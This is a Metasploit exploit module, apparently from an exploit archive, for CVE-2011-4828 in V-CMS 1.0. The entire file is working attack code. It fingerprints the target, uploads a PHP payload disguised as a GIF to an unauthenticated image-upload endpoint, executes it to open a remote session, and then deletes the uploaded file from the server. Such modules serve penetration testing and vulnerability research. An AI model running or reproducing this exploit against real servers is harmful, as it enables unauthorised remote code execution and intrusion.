V-CMS - Arbitrary '.PHP' File Upload / Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "V-CMS PHP File Upload and Execute",
			'Description'    => %q{
					This module exploits a vulnerability found on V-CMS's inline image upload feature.
				The problem is due to the inline_image_upload.php file not checking the file type
				before saving it on the web server. This allows any malicious user to upload a
				script (such as PHP) without authentication, and then execute it with a GET request.

					The issue is fixed in 1.1 by checking the extension name.  By default, 1.1 only
				allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as
				one of those extension names, which may still be leveraged in an attack.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'AutoSec Tools',  #Initial discovery
					'sinn3r'          #Metasploit
				],
			'References'     =>
				[
					['CVE', '2011-4828'],
					['BID', '50706'],
					['URL', 'http://bugs.v-cms.org/view.php?id=53'],
					['URL', 'http://xforce.iss.net/xforce/xfdb/71358']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00",
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					['V-CMS 1.0', {}],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Nov 27 2011",  #When the ticket was created
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/vcms/'])
				], self.class)
	end

	def check
		res = send_request_raw({
			'uri'   => target_uri.path,
			'method' => 'GET'
		})

		if res and res.body =~ /V\-CMS v1\.[0-1]/
			return Exploit::CheckCode::Appears
		else
			return Exploit::CheckCode::Safe
		end
	end

	def on_new_session(client)
		if client.type == "meterpreter"
			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
			client.fs.file.rm(@payload_name)
		else
			client.shell_command_token("rm #{@payload_name}")
		end
	end

	def exploit
		peer = "#{rhost}:#{rport}"

		base = target_uri.path
		base << '/' if base[-1,1] != '/'

		@payload_name = "#{rand_text_alpha(5)}.php"
		p = %Q|<?php
		#{payload.encoded}
		?>
		|

		p = p.gsub(/^\t\t/, '')

		post_data = "------x\r\n"
		post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
		post_data << "Content-Type: image/gif\r\n"
		post_data << "\r\n"
		post_data << p
		post_data << "------x--\r\n"

		print_status("#{peer} Uploading payload: #{@payload_name}")
		res = send_request_cgi({
			'uri'    => "#{base}includes/inline_image_upload.php",
			'method' => 'POST',
			'ctype'  => 'multipart/form-data; boundary=----x',
			'data'   => post_data
		})

		if res
			print_status("#{peer} replies status: #{res.code.to_s}")
		else
			print_error("#{peer} No response from server. Will not continue")
			return
		end

		print_status("#{peer} Executing payload: #{@payload_name}")
		res = send_request_raw({
			'uri'    => "#{base}temp/#{@payload_name}",
			'method' => 'GET'
		})

		if res and res.code == 404
			print_error("#{peer} 404 - the upload probably failed")
			return
		end

		handler
	end
end